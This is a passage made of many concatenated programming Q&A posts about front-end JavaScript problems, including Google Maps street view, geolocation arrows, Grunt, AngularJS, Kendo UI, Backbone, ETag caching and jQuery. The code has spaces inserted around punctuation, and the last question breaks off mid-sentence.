google.maps.geometry.spherical.computeHeading ( carPos , pos ) ; sv.setPov ( { heading : heading , pitch : 0 , zoom : 1 } ) ; } } ) ; $ ( ' # myModal ' ) .modal ( 'show ' ) ; current = elem ; } ) ; } ) ; } ) ; // Create the search box and link it to the UI element . } function getLocation ( ) { if ( navigator.geolocation ) { navigator.geolocation.getCurrentPosition ( displayOnMap ) ; } else { navigator.geolocation.getCurrentPosition ( displayOnMapError ) ; } } function displayOnMap ( position ) { marker2 = handler.addMarker ( { lat : position.coords.latitude , lng : position.coords.longitude , picture : { url : `` < % = asset_path 'creative/1499326997_Untitled-2-01.png ' % > '' , width : 48 , height : 48 , } , infowindow : 'You are Here ! ' , } ) ; handler.map.centerOn ( marker2 ) ; handler.getMap ( ) .setZoom ( 10 ) ; } function displayOnMapError ( position ) { marker2 = handler.addMarker ( { lat : 34.0522 , lng : -118.2437 , picture : { url : `` < % = asset_path 'creative/1499326997_Untitled-2-01.png ' % > '' , width : 48 , height : 48 , } , } ) ; handler.map.centerOn ( marker2 ) ; handler.getMap ( ) .setZoom ( 10 ) ; } initialize ( ) ; < /script > $ ( `` .name '' ) .html ( `` < h3 class='panel-title ' > < i class='fa fa-id-card ' > < /i > '' +number+ '' < /h3 > '' ) ; $ ( `` .paneltb '' ) .html ( `` < thead > < tr > < th > Panel < /th > < th > Location < /th > < th > Tab ID < /th > < th > Zip Code < /th > < th > Latitude < /th > < th > Longitude < /th > < /tr > < /thead > < tbody > < tr > < td > '' +number+ '' < /td > < td > '' + name + `` < /td > < td > '' +tabid+ '' < /td > < td > '' +zipcode+ '' < /td > < td > '' +latitude+ '' < /td > < td > '' +longitude+ '' < /td > < /tr > < /tbody > '' ) ; $ ( ' # myModal ' ) .modal ( 'show ' ) ; current = elem ; pos = new google.maps.LatLng ( latitude , longitude ) ; var div = document.getElementById ( 'map2 ' ) ; var sv = new google.maps.StreetViewPanorama ( div ) ; sv.setPosition ( pos ) ; sv.setVisible ( true ) ; // find the heading by looking from the google car pos to the venue posvar service = new google.maps.StreetViewService ( ) ; service.getPanoramaByLocation ( pos , 50 , function ( result , status ) { if ( status == google.maps.StreetViewStatus.OK ) { carPos = result.location.latLng ; heading = google.maps.geometry.spherical.computeHeading ( carPos , pos ) ; sv.setPov ( { heading : heading , pitch : 0 , zoom : 1 } ) ; } } ) ; var sv = new google.maps.StreetViewPanorama ( div ) ;",Reuse a Google Maps street view inside of a modal "JS : I have a question about showing an arrow to a location.This is what I have : You can save your current location in the localstorage . A while later when you are for example 30 meters further you can click on the second button `` Show direction to previous location ! '' to get an arrow to your previous location . This is a mobile website , so not a native app.Here is my code : What I do to set the arrow in the direction of the previous location is : - Call watchprocess function- Get lat/lon of previous location + lat/lon of current location- Calculate the angle to previous location- Check the degrees of the mobile device - I do this with the deviceorientation event , i read that the heading of the device = 360 - alpha ( source : http : //dev.w3.org/geo/api/spec-source-orientation.html # introduction ) - The final angle is the degrees of the mobile device - the previous calculated angle- set arrow with that angleBut I always get strange results ... When my previous location is 10 meters further the arrow is n't correct for most of the times.Does anyone knows why I get this result ? Here is a jsfiddle : jsfiddleThanks in advance ! Niels < ! DOCTYPE html > < html > < head > < ! -- JQUERY SCRIPT AND COMPASS SCRIPT AND MODERNIZR SCRIPT -- > < script src= '' http : //code.jquery.com/jquery-1.8.3.js '' > < /script > < /head > < body > < div class= '' container '' > < h1 > Find your location < /h1 > < div class= '' row '' > < div class= '' span12 '' > < ! -- Save your current location -- > < button class= '' grey '' id= '' btnFindLocation '' > Save my current location ! < /button > < br > < ! -- Show direction to previous location -- > < button class= '' grey '' id= '' btnShowDirection '' > Show direction to previous location ! < /button > < br > < br > < ! -- Arrow in direction to location -- > < img id= '' myarrow '' class= '' deviceorientation '' src= '' http : //nielsvroman.be/tapcrowd/arrow.png '' / > < /div > < /div > < script > $ ( window ) .ready ( function ( ) { // orientation object to save heading of the device var orientation = { } ; /* Find location button */ $ ( `` # btnFindLocation '' ) .click ( findLocation ) ; /* Show direction button */ $ ( `` # btnShowDirection '' ) .click ( showDirection ) ; // Device orientation if ( window.DeviceOrientationEvent ) { window.addEventListener ( `` deviceorientation '' , handleOrientation , false ) ; } else { alert ( `` Device Orientation is not available '' ) ; } function handleOrientation ( orientData ) { var alpha = orientData.alpha ; // To get the compass heading , one would simply subtract alpha from 360 degrees . var heading = 360 - alpha ; orientation.value = heading ; } function findLocation ( ) { // Check if geolocation is supported in browser if ( navigator.geolocation ) { // Succes function : geoSucces Error function : geoError navigator.geolocation.getCurrentPosition ( geoSucces , geoError ) ; } else { alert ( `` Geolocation is not supported ! `` ) ; } } function geoSucces ( position ) { // Check if localstorage is supported in browser if ( Modernizr.localstorage ) { // Object declaration in localStorage localStorage.setItem ( 'position ' , ' { } ' ) ; // Save position object in localstorage localStorage.setItem ( 'position ' , JSON.stringify ( position ) ) ; } else { alert ( `` localStorage is not available ! `` ) ; } } var watchProcess = null ; function showDirection ( ) { if ( navigator.geolocation ) { if ( watchProcess == null ) { // Succes function : geoWatchSucces Error function : geoError navigator.geolocation.watchPosition ( geoWatchSucces , geoError ) ; } } else { alert ( `` Geolocation is not supported ! `` ) ; } } function geoWatchSucces ( position ) { // Check if localStorage is supported in browser if ( Modernizr.localstorage ) { // Get previous location out of localstorage var location = JSON.parse ( localStorage.getItem ( 'position ' ) ) ; } else { alert ( `` localStorage is not available ! `` ) ; } // lat/lon of location in localstorage and current location var lat1 = location.coords.latitude ; var lon1 = location.coords.longitude ; var lat2 = position.coords.latitude ; var lon2 = position.coords.longitude ; // angle to location var angle = Math.atan2 ( lon2 - lon1 , lat2 - lat1 ) ; // degrees device var degrees = orientation.value ; // degrees of device - angle var result = degrees - angle ; // Set arrow to direction location setArrowRotation ( result ) ; } // Stop monitoring location function stopShowDirection ( ) { if ( navigator.geolocation ) { if ( watchProcess ! = null ) { navigator.geolocation.clearWatch ( watchProcess ) ; watchProcess = null ; } } else { alert ( `` Geolocation is not supported ! `` ) ; } } // Error function geolocation function geoError ( error ) { switch ( error.code ) { case error.PERMISSION_DENIED : alert ( `` user did not share geolocation data '' ) ; break ; case error.POSITION_UNAVAILABLE : alert ( `` could not detect current position '' ) ; break ; case error.TIMEOUT : alert ( `` retrieving position timed out '' ) ; break ; default : alert ( `` unknown error '' ) ; break ; } } // Functions to set direction arrow function getsupportedprop ( proparray ) { var root=document.documentElement ; for ( var i=0 ; i < proparray.length ; i++ ) { if ( proparray [ i ] in root.style ) { return proparray [ i ] ; } } return false ; } var cssTransform ; function setArrowRotation ( x ) { if ( cssTransform===undefined ) { cssTransform=getsupportedprop ( [ 'transform ' , 'webkitTransform ' , 'MozTransform ' , 'OTransform ' , 'msTransform ' ] ) ; } if ( cssTransform ) { document.getElementById ( 'myarrow ' ) .style [ cssTransform ] ='rotate ( '+x+'deg ) ' ; } } } ) ; // END OF DOCUMENT READY < /script > < /body > < /html >",Incorrect results arrow ( angle ) to geolocation "JS : I have the following gruntfile.js code : When I run the watch task and make changes on any of my less files , it detected the changes in the less files : File `` assets\less\abc.less '' changed . But the problem is it is not updating my abc.css file . Does anyone know why is this and how to fix it ? Thanks less : { development : { files : [ { expand : true , cwd : 'assets/less ' , src : [ '*.less ' ] , dest : 'wwwroot/content/css/ ' , ext : '.css ' } ] } } , watch : { less : { files : [ `` assets/less/*.less '' ] , task : [ `` less : development '' ] } } ; grunt.loadNpmTasks ( `` grunt-contrib-less '' ) ; grunt.loadNpmTasks ( `` grunt-contrib-watch '' ) ;",File watcher for less in grunt not updating css "JS : I have an experimental problem . I want to make the image with a lot of div 's , div 's have a 1px width and height.I got a pixel data of image from the canvas context , create the div and gave value to each div 's background-color , it means div 's count are equal to image pixels count , but if there is an image for example with 100x56 resolution it 's ok , but in case if more than this , browser renders the html very slow.Part of code belowI know this problem is not applicable so much , but I want to know if there is any case to render a lot of elements faster in a browser ( I use Chrome ) or is it browser-independant ? P.s . : My colleague said `` there is no problem in Silverlight like this , you can add even 50000 elements and it will work fine '' , and I want to give him `` my answer '' Thanks var fragment = document.createDocumentFragment ( ) ; var data = context.getImageData ( 0 , 0 , canvas.width , canvas.height ) .data ; for ( var i = 0 ; i < data.length ; i += 4 ) { var red = data [ i ] ; var green = data [ i + 1 ] ; var blue = data [ i + 2 ] ; var div = document.createElement ( 'div ' ) ; div.style.width = '1px ' ; div.style.height = '1px ' ; div.style.float='left ' div.style.backgroundColor = 'rgb ( ' + red + ' , ' + green + ' , ' + blue + ' ) ' ; fragment.appendChild ( div ) ; } cnt.appendChild ( fragment )",A lot of div 's in one html "JS : I am trying to make one demo in which i have one checkbox list .I am able to display the list using ng-repeat .What I need if user click on one check box ( only one checkbox is checked ) .it display only one columns ( 100 % ) width .Which user checked two column it display two columns of equal width ( 50 % ) .if user check three column it show three column of equal width ..As as if user checked four checkbox it show four column of equal width ..Initially some of checkbox is checked ( checked : true ) ..my first step is to unchecked the checked option `` training 3 '' ..but after unchecked it still display why ? I already use splice . method ? here is my codehttp : //codepen.io/anon/pen/adBroe ? editors=101here is i am trying to display init ( ) ; function init ( ) { for ( var i =0 ; i < self.data.length ; i++ ) { var obj=self.data [ i ] ; if ( obj.checked ) { self.selectedList.push ( obj ) ; } } alert ( 'starting '+self.selectedList.length ) } self.checkBoxClick=function ( obj , i ) { if ( obj.checked ) { alert ( 'if ' ) self.selectedList.push ( obj ) ; } else { alert ( 'else'+i ) ; self.selectedList.splice ( i,1 ) ; } alert ( self.selectedList.length ) ; } } ) < div class='container-fluid ' > < div class='row ' > < div ng-repeat= '' i in vm.selectedList '' class='col-xs- { { 12/vm.selectedList.length } } ' > { { i.name } } < /div > < /div > < /div >",why splice not work properly in angular js "JS : I tried doing this.So , when I click on the radio button , the code works but the radio button does n't get checked and it remains normal . How to solve this ? < p > < input id= '' play '' class= '' rad '' type='radio ' name= ' a'/ > < input id= '' pause '' class= '' rad '' type='radio ' name= ' a'/ > < /p > var output = $ ( 'h1 ' ) ; var isPaused = false ; var time = 30 ; var t = window.setInterval ( function ( ) { if ( ! isPaused ) { time -- ; output.text ( `` 0 : '' + time ) ; } } , 1000 ) ; //with jquery $ ( '.pause ' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; isPaused = true ; } ) ; $ ( '.play ' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; isPaused = false ; } ) ;",How to trigger event when a radio button is checked in jQuery "JS : I am new to kendo ui.I developed prototype in my fiddle . delete confirmation window is working fine there.but when I integrate in my codebase I am getting error Can not read property 'remove ' at the line pai_to_delete.remove ( ) ; can you guys tell me how to fix it.providing my code below.updated-may be I did not explain you properly ... how my ui looks is when I click a link a big popup opens with a grid ... in that grid when i click a columna small popup with delete option opens up ... when I click the delete option a confirmation window opens ... - when I use native js confirm method it works fine..I think that time its referring correctly ... - but when I use kendo ui popup it does not work fine ... - is my pai_to_delete not referring properly when I use kendo ui ... since its referring to that div not the parent div i think so.prototype fiddlehttp : //jsfiddle.net/amu6tw2a/whole code I am not able to paste in my question so I am pasting in fiddle , relevant code I am pasting belowhttps : //jsfiddle.net/44tLx225/works with js native confirm method $ ( `` .tiger '' ) .bind ( `` click '' , function ( e ) { zone.js : 140 Uncaught TypeError : Can not read property 'remove'of nullat HTMLButtonElement.eval ( swimming - jumpings.ts : 990 ) at HTMLDocument.dispatch ( jquery - 2.2.3. js : 4737 ) at HTMLDocument.elemData.handle ( jquery - 2.2.3. js : 4549 ) at ZoneDelegate.invokeTask ( zone.js : 236 ) at Zone.runTask ( zone.js : 136 ) at HTMLDocument.ZoneTask.invoke ( zone.js : 304 ) $ ( `` .tiger '' ) .bind ( `` click '' , function ( e ) { let that = this ; $ ( `` .pai-del-menu '' ) .blur ( function ( ) { $ ( this ) .hide ( ) ; pai_to_delete = null ; } ) ; $ ( `` .pai-del-menu '' ) .click ( function ( ) { $ ( this ) .hide ( ) ; //let popup = $ ( `` # deletePopup '' ) .data ( `` kendoWindow '' ) .center ( ) .open ( ) ; if ( pai_to_delete ! = null ) { // $ ( '.addELFDocumentForm ' ) .show ( ) ; //alert ( `` Are you sure you want to delete the selected jumping '' ) ; var kendoWindow = $ ( `` < div / > '' ) .kendoWindow ( { title : `` Confirm '' , resizable : false , modal : true , height : 100 , width : 400 } ) ; kendoWindow.data ( `` kendoWindow '' ) .content ( $ ( `` # delete-confirmation '' ) .html ( ) ) .center ( ) .open ( ) ; $ ( jumping ) .on ( `` click '' , `` # playerDocumentOk '' , function ( ) { pai_to_delete.remove ( ) ; kendoWindow.data ( `` kendoWindow '' ) .close ( ) ; } ) $ ( jumping ) .on ( `` click '' , `` # playerDocumentCancel '' , function ( ) { kendoWindow.data ( `` kendoWindow '' ) .close ( ) ; } ) //pai_to_delete.remove ( ) ; } } ) ; var record_x = e.pageX ; var record_y = e.pageY - $ ( `` .navHeaderBox '' ) .height ( ) - $ ( `` .breadCrumbBox '' ) .height ( ) - 20 ; $ ( `` .pai-del-menu '' ) .css ( { left : record_x , top : record_y } ) ; $ ( `` .pai-del-menu '' ) .fadeIn ( 200 ) ; $ ( `` .pai-del-menu '' ) .show ( ) ; $ ( `` .pai-del-menu '' ) .attr ( 'tabindex ' , -1 ) .focus ( ) ; pai_to_delete = $ ( this ) .parent ( ) .parent ( ) ; } ) ; $ ( `` .pai-del-menu '' ) .blur ( function ( ) { $ ( this ) .hide ( ) ; pai_to_delete = null ; } ) ; $ ( `` .pai-del-menu '' ) .click ( function ( ) { $ ( this ) .hide ( ) ; if ( pai_to_delete ! == null ) { //alert ( `` Are you sure you want to delete the selected document '' ) ; //confirm ( `` Are you sure you want to delete the selected document '' ) ; var r = confirm ( `` Are you sure you want to delete the selected document '' ) ; if ( r == true ) { //txt = `` You pressed OK ! `` ; pai_to_delete.remove ( ) ; } else { //txt = `` You pressed Cancel ! `` ; } //pai_to_delete.remove ( ) ; } } ) ; var pai_x = e.pageX ; var pai_y = e.pageY - $ ( `` .navHeaderBox '' ) .height ( ) - $ ( `` .breadCrumbBox '' ) .height ( ) - 20 ; $ ( `` .pai-del-menu '' ) .css ( { left : pai_x , top : pai_y } ) ; $ ( `` .pai-del-menu '' ) .fadeIn ( 200 ) ; $ ( `` .pai-del-menu '' ) .show ( ) ; $ ( `` .pai-del-menu '' ) .attr ( 'tabindex ' , -1 ) .focus ( ) ; pai_to_delete = $ ( this ) .parent ( ) .parent ( ) ; } ) ;",zone.js : 140 Uncaught TypeError : Can not read property 'remove ' JS : Is there a way to use Jquery 's .unwrap ( ) multiple times without copying and pasting ? It 'd be nice if it could accept an argument or something like : .unwrap ( 4 ) but it does n't . Is there a more clever solution to achieving the following : ? $ ( `` .foo a '' ) .unwrap ( ) .unwrap ( ) .unwrap ( ) .unwrap ( ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < ul > < li class= '' foo '' > < div > < ul > < li > < div > < a href= '' # '' > Link 1 < /a > < /div > < /li > < /ul > < /div > < /li > < li class= '' foo '' > < div > < ul > < li > < div > < a href= '' # '' > Link 2 < /a > < /div > < /li > < /ul > < /div > < /li > < li class= '' foo '' > < div > < ul > < li > < div > < a href= '' # '' > Link 3 < /a > < /div > < /li > < /ul > < /div > < /li > < /ul >,How do you .unwrap ( ) an element multiple times ? "JS : I have a list of colour names in my application . I want to extend the ngStyle directive to be able to understand my custom colour names . I 'm doing this by decorating the ngStyle directive . However , I 've hit an uphill battle on the decorator 's compile function . I can access the elements ' ngStyle attribute , but it comes up as a string ( understandably ) . JSON.parse ( ) does n't work on it as it is n't always a valid JSON string due to bind once etc ... I simply want to step-in , iterate over all style keys , and if it contains color , I want to check for the value - and replace with hex if it is one of the above custom colour.I ca n't seem to be able to access any ngStyle internal functions , and the source code is confusing and short ; it seems to just set element CSS - where does the $ parse do its job ? for example , when ng-style= '' { color : ctrl.textColor } '' - there is nothing in ngStyle source code that is pulling the value of ctrl.textColour . Am I looking at the wrong place ? Anyway , how do I access ng-style key values so that I can change custom colours to its hex codes please ? This is what I 've got so far in my decorator : I tried using regex to pull out patterns etc . and inspect elements , but , it seems like the wrong way to approach the problem to me as I then have to manually update string and pass it on to base link function.Here 's a plnkr example.IF there is a better way to do what I 'm trying to do , please let me know . let colours = { mango : ' # e59c09 ' , midnight : ' # 1476a0 ' } ; $ provide.decorator ( 'ngStyleDirective ' , function ( $ delegate ) { let directive = $ delegate [ 0 ] ; let link = directive.link ; directive.compile = function ( element , attrs ) { // Expression here is a string property let expression = attrs.ngStyle ; return function ( scope , elem , attr ) { // How do I iterate over and update style values here ? // Run original function link.apply ( this , arguments ) ; } } return $ delegate ; } ) ;",How do I access the ngStyle key and values in decorator ? "JS : I 've been stuck in caching hell for the past couple of days and while I 'm starting to get it still struggling a little bit . Desired ResultI want to include a JS file on a site and have it cached and/or only fetch a new copy of the file when the file has been changed on the server . I DO CAN NOT use version tags or hashes in the file name . The file name needs to stay consistent . Where I 'm atFrom what I understand after reading up on this using Etags are the perfect solution for this . They will update when the file is changed and will send the new version of the file if tags do n't match . And this seems to work when I request the file via the browserSo you can see that on first request i get a 200 and download size is 292 B and on second request because tags match I get a 304 and download size is 137 B ( Just header size I assume ) . Great ! This is exactly what I want . My request header with looks for the etag : My ProblemNow this works when I request the file from the browser , but adding a js file in a script tag does n't send request headers the same way . So , opening the following html fileMy js file is fetched every time because the if-none-match request header is not present . How do I replicate the behavior that was observed in the above scenario when using html script tag ? TL ; DRHow do I use Etags to request only modified JS files when using html script tags and not simple browser GET request ? < ! DOCTYPE html > < html > < body > < script src= '' https : //myTestSite.com/testCache.js '' > < /script > < /body > < /html >",JS file caching is different when included via script tag vs GET "JS : When using backticks in a JavaScript file such as : PhpStorm does all sorts of weird auto-formatting that breaks the file . Backticks randomly appear or disappear , commenting the rest of the file.I 've disabled the 'insert pair quotes ' option in Settings but the problem still persists.Is there a way to disable auto-formatting for backticks in PhpStorm version 2016.1.2 ? var name = 'Tom ' ; var greeting = ` hello my name is $ { name } ` ;",PhpStorm - Backticks ` for ES6 template strings broken JS : I have a regular expression to return false if special characters are found . I 'm trying to modify it to do the same if any single or double quotes are found . This is one time that regexr.com is not helping.Here is my expression that works for special characters : Here is my regular expression for single and double quotes : I even tried escaping them : Please help ! I 've wasted too much time on this and can not quickly figure it out.I have a method : Simple input : We 're having a party and my house this weekend . Please bring as many friends as you like ; the more the merrier.This paragraph should be invalid as soon as it finds the single quote in We 're . ^ ( ? =.* ? [ A-Z ] { 2 } ) ( ( ? ! ! | @ | $ | % |\^| & |\* ) ) . ) * $ ^ ( ? =.* ? [ A-Z ] { 2 } ) ( ( ? ! '| '' ) . ) * $ ^ ( ? =.* ? [ A-Z ] { 2 } ) ( ( ? ! \'|\ '' ) . ) * $ var isValidText = function ( val ) { var rx = new RegExp ( \^ ( ? =.* ? [ A-Z ] { 2 } ) ( ( ? ! ! | @ | $ | % ||^| & ||* ) ) . ) * $ \ ) ; var result = rx.text ( val ) ; return result ; },javascript regular expression to find single or double quote not working "JS : The two errors that I get when I run this code are : Property 'bacon ' does not exist on type ' { type : StringConstructor ; enum : string [ ] ; required : ( ) = > any ; } ''required ' implicitly has return type 'any ' because it does not have a return type annotation and is referenced directly or indirectly in one of its return expressions . import mongoose , { Schema , model } from `` mongoose '' ; var breakfastSchema = new Schema ( { eggs : { type : Number , min : [ 6 , `` Too few eggs '' ] , max : 12 } , bacon : { type : Number , required : [ true , `` Why no bacon ? '' ] } , drink : { type : String , enum : [ `` Coffee '' , `` Tea '' ] , required : function ( ) { return this.bacon > 3 ; } } } ) ;",Error in creating a custom validation using mongoose with typescript "JS : I am having an issue with ZEND , JQuery , PHP , and Javascript . I am very new to these languages , and I am just trying to work my way around them.I have had jquery.post work in other cases , but I can not get it to do a simple call right now.phtml File ( /admin/user.phtml ) } PHP File : ( AdminController.php ) A /admin/newusercallback.phtml file exists . When run , the console has the following messages printed to it : I have 2 popup boxes appearing , which say Call Successful ! and NullThe issue is that the second popup box should say `` Test '' instead of Null.If I browse to the URL https : //dev.myurl.ca/admin/newusercallback/sessionid/0c1a5e41-ad0a-470d-9901-305464b48908/lang/ENG directly , my browser displays a window with the text ( quotation marks inclusive ) My question is , why is the callback data for testJquery Null , when browing directly to the page is displaying the data `` Test '' correctly ? Further to that , how can I fix it ! function testJquery ( ) { var url = `` < ? php echo $ myHome2Url.'/admin/newusercallback/sessionid/'. $ _SESSION [ 'mySessionId ' ] . '/lang/'. $ _SESSION [ 'language ' ] ? > '' ; console.log ( url ) ; $ .post ( url , { } , function ( data ) { window.alert ( `` Call successful ! `` ) ; window.alert ( data ) ; } , '' json '' ) ; public function newusercallbackAction ( ) { echo json_encode ( `` Test '' ) ; } < ? php ? > POST https : //dev.myurl.ca/admin/newusercallback/sessionid/0c1a5e41-ad0a-470d-9901-305464b48908/lang/ENGhttps : //dev.myurl.ca/admin/newusercallback/sessionid/0c1a5e41-ad0a-470d-9901-305464b48908/lang/ENGGET https : //dev.myurl.ca/admin/user/sessionid/0c1a5e41-ad0a-470d-9901-305464b48908/lang/ENG/report_id/0/ `` Test ''",JQuery.post callback data is null "JS : How to make an iframe responsive , without assuming an aspect ratio ? For example , the content may have any width or height , which is unknown before rendering.Note , you can use Javascript.Example : Size this iframe-container so that contents of it barely fit inside without extra space , in other words , there is enough space for content so it can be shown without scrolling , but no excess space . Container wraps the iframe perfectly.This shows how to make an iframe responsive , assuming the aspect ratio of the content is 16:9 . But in this question , the aspect ratio is variable . < div id= '' iframe-container '' > < iframe/ > < /div >",How to make an iframe responsive without aspect ratio assumption ? "JS : I have created a JavaScript 'user snippet ' in Visual Studio Code to make it slightly faster to call the console.log ( ) method ( a line of code which I write very frequently ) .The user snippet works , but when I type log into the editor , my custom snippet is at the bottom of the list.Is there any way I can make this the first suggestion , rather than the last ? `` Console Log '' : { `` prefix '' : `` log '' , `` body '' : [ `` console.log ( $ 0 ) ; '' ] , `` description '' : `` JavaScript Console.log ( ) '' }",Visual Studio Code - How to put User Snippets at the top of the list "JS : I tried adding a serialized class to each of a set of objects like this : And it worked . What resulted was a set of images , each with a class image1 , image2 , and so on . It 's exactly what I wanted . But is this actually a reliable method of looping through a set of objects ? Or is it possible that , if this anonymous function took longer to execute , the function might start on the next object before index is incremented ? Anybody know what 's actually happening ? jQuery ( ' # preload img ' ) .each ( function ( ) { jQuery ( ' # thumbs ' ) .append ( ' < img class= '' index ' + index + ' '' src= '' ' + source + ' '' / > ' ) ; index = ++index ; } ) ;",Is jQuery 's `` each ( ) '' method a for loop ? "JS : How can I select the first `` shallowest '' input ? My current selection will be the div marked `` selected '' .I wo n't know how many levels down it will be.It seems like find ( ) .first ( ) gives me the deepest one.Edited for clarity . I need to find it based on the fact that it is shallower , not based on other unique attributes.This might be like a reverse of closest ( ) ? < div class= '' selected '' > < ! -- already have this -- > < div class= '' unknown-number-of-wrapper-panels '' > ... < div class= '' collection '' > < div class= '' child '' > < input type= '' text '' value= '' 2 '' / > < ! -- do n't want this -- > < /div > < /div > < input type= '' text '' value= '' 2 '' / > < ! -- need this -- > < input type= '' text '' value= '' 2 '' / > ... < /div > < /div >",How can I select the `` shallowest '' matching descendant ? "JS : Does anyone know how I can define a required field which is dependant on another field ? For example if field1 is marked true then field2 must be required , otherwise field 2 should not be filled.Here is my current attempt : `` field1 '' : { `` title '' : `` Field1 : '' , `` type '' : `` string '' , `` enum '' : [ `` true '' , `` false '' ] } , '' field2 '' : { `` title '' : `` Field2 : '' , `` type '' : `` integer '' , `` dependencies '' : `` field1 '' , `` required '' : true }",How to create a required conditional field using Alpaca ? "JS : I have an HTML input as a type of range . Users can change its value by dragging the thumb . But users can also change its value by touching the track area which brings the thumb there directly . How can I disable the touching change value and only enable dragging ? If the thumb is on the `` 0 '' position , users can touch the middle of the input which moves the thumb around 50 . I want to disable users touch on the track of the input and only allow users to drag the thumb to change its value . < input type= '' range '' min= '' 0 '' max= '' 100 '' / >",How to disable touch on input range only accept drag to change its value ? "JS : In backbone I can use my models in different ways.As I understand , a ( Data ) model is used to store data ( possibly served from a RESTful web server ) and a ViewModel is used to store information about a specific view ( The views hidden/shown state for example ) .Most of my knowledge is from this SO question.After reading this article where the author says : Render UI Upon Data Change , Not User Interactionand The flow is : User interaction - > data change - > view render . For instance , if we are writing a play/pause toggle button in an audio player , the flow would be : The user hits ‘ play ’ The model ( data ) state changes to ‘ playing ’ The view renders in ‘ playing ’ mode Following this pattern ensures that changes to the state triggered from other sources ( such as fast forward , new playlist , network error , etc . ) will toggle our button to do the right thing . In other words , we have a single source of truth : whenever our model changes we know we should render our button.I started to wonder the advantages and disadvantages of using each one.Assuming we only have one model per view ( I know we could have more , but if we limit it to one ) .I can think of , ViewModel pros : The ones mentioned in the article.Information about a view is saved in a model , preventing the view being cluttered.State information can be shared between views.cons : Can not call Backbone 's save ( ) method because this will cause the model to save incorrect data to the server ( the views state for example ) . Can not call Backbone 's fetch ( ) method easily because we might trample our views data . ( Data ) Model pros : Use backbone 's built in save , fetch etc.views can share data without worrying about view specific data being stored in them.cons : Models can only be used for dataAm I correct in thinking this ? Should I have a model for my data and a model for my view ? How does this work with collections ? I know Backbone is very loose and there are no hard and fast rules.But , does anybody have any real world experience of using one or the other ? Or possibly both ? Any help is appreciated . var PlayPauseButton = Backbone.View.extend ( { tagName : 'li ' , className : 'icon ' , initialize : function ( ) { this.model.on ( 'change : status ' , this.render , this ) ; } , render : function ( ) { this. $ el.removeClass ( 'icon-play ' ) .removeClass ( 'icon-pause ' ) ; this. $ el.addClass ( 'icon- ' + ( this.isPlaying ( ) ? 'pause ' : 'play ' ) ) ; } , events : { 'click ' : function ( ) { this.model.set ( 'status ' , this.isPlaying ( ) ? 'paused ' : 'playing ' ) ; } } , isPlaying : function ( ) { return this.model.get ( 'status ' ) === 'playing ' ; } } ) ;",Backbone ViewModel vs ( Data ) Model "JS : I have been looking deeply into JavaScript lately to fully understand the language and have a few nagging questions that I can not seem to find answers to ( Specifically dealing with Object Oriented programming ) .Assuming the following code : What is the difference between functions fA and fB ? Do they behave exactly the same in scope and potential ability ? Is it just convention or is one way technically better or proper ? If there is only ever going to be one instance of an object at any given time , would adding a function to the prototype such as fC even be worthwhile ? Is there any benefit to doing so ? Is the prototype only really useful when dealing with many instances of an object or inheritance ? And what is technically the `` proper '' way to add methods to the prototype the way I have above or calling TestObject.prototype.functionName = function ( ) { } every time ? I am looking to keep my JavaScript code as clean and readable as possible but am also very interested in what the proper conventions for Objects are in the language . I come from a Java and PHP background and am trying to not make any assumptions about how JavaScript works since I know it is very different being prototype based . function TestObject ( ) { this.fA = function ( ) { // do stuff } this.fB = testB ; function testB ( ) { // do stuff } } TestObject.prototype = { fC : function { // do stuff } }",A few questions about how JavaScript works "JS : I have implemented the addThis share box following their instructions . I would like to only include the following services in the share tool box which works fine on the desktop browser but is simply ignored on mobile , which means that every service is shown on the mobile version of the share box.Anyone else encountered this issue ? What can be done to fix it ? JSFiddle - Test link < script src= '' https : //s7.addthis.com/js/300/addthis_widget.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js '' > < /script > < div class= '' share_btn '' > Press me to test sharing ! ! ! ! < /div > < script > var addthis_config = { services_expanded : 'facebook , twitter , email , tumblr , link , sinaweibo , whatsapp ' } $ ( `` .share_btn '' ) .on ( `` click '' , function ( ) { addthis.update ( 'share ' , 'url ' , 'http : //google.com ' ) ; addthis_sendto ( 'more ' ) ; } ) ; < /script >",AddThis plugin can not exclude services in mobile tool box "JS : I added the following code in order to scroll with my mouse ( scroll on click+drag , not by the mousewheel ) . So far , so good - works like a charm : I am trying to change this scroll behavior so that each directional click+drag mouse movement jumps to the next/closest hash after e.g . a 10px drag . In other words , a mouse scroll up should jump to the next hash above the current position , scrolling down should jump to the next one below.This does n't seem to be covered by any of the related questions . Edit : I think I need to replace by parts of the solution in the link that follows . Unfortunately , this seems to be above my skill level : how to get nearest anchor from the current mouse position on mouse move Solution : I used Saeed Ataee 's answer , really happy about that code , but replaced the mouse-wheel code portion with the following one I had in place already , just happened to work better on my end ( I am sure his is fine , just giving an alternative here ) : } ) ; var clicked = false , clickY ; $ ( document ) .on ( { 'mousemove ' : function ( e ) { clicked & & updateScrollPos ( e ) ; } , 'mousedown ' : function ( e ) { clicked = true ; clickY = e.pageY ; } , 'mouseup ' : function ( ) { clicked = false ; $ ( 'html ' ) .css ( 'cursor ' , 'auto ' ) ; } } ) ; var updateScrollPos = function ( e ) { $ ( 'html ' ) .css ( 'cursor ' , 'row-resize ' ) ; $ ( window ) .scrollTop ( $ ( window ) .scrollTop ( ) + ( clickY - e.pageY ) ) ; } $ ( window ) .scrollTop ( $ ( window ) .scrollTop ( ) + ( clickY - e.pageY ) ) ; $ ( ' # nav ' ) .onePageNav ( ) ; var $ current , flag = false ; $ ( 'body ' ) .mousewheel ( function ( event , delta ) { if ( flag ) { return false ; } $ current = $ ( 'div.current ' ) ; if ( delta > 0 ) { $ prev = $ current.prev ( ) ; if ( $ prev.length ) { flag = true ; $ ( 'body ' ) .scrollTo ( $ prev , 1000 , { onAfter : function ( ) { flag = false ; } } ) ; $ current.removeClass ( 'current ' ) ; $ prev.addClass ( 'current ' ) ; } } else { $ next = $ current.next ( ) ; if ( $ next.length ) { flag = true ; $ ( 'body ' ) .scrollTo ( $ next , 1000 , { onAfter : function ( ) { flag = false ; } } ) ; $ current.removeClass ( 'current ' ) ; $ next.addClass ( 'current ' ) ; } } event.preventDefault ( ) ;",Mousemove / scroll to next hash "JS : I 'm using jQuery to iterate through an HTML table , and dynamically fill in the row numbers of each row ( by populating the row number in a text box ) : This function gets called under : This works perfectly fine under Firefox . However , under Chrome ( tried both 5.x and 9.x ( beta ) ) and sometimes Safari , this ends up populating a 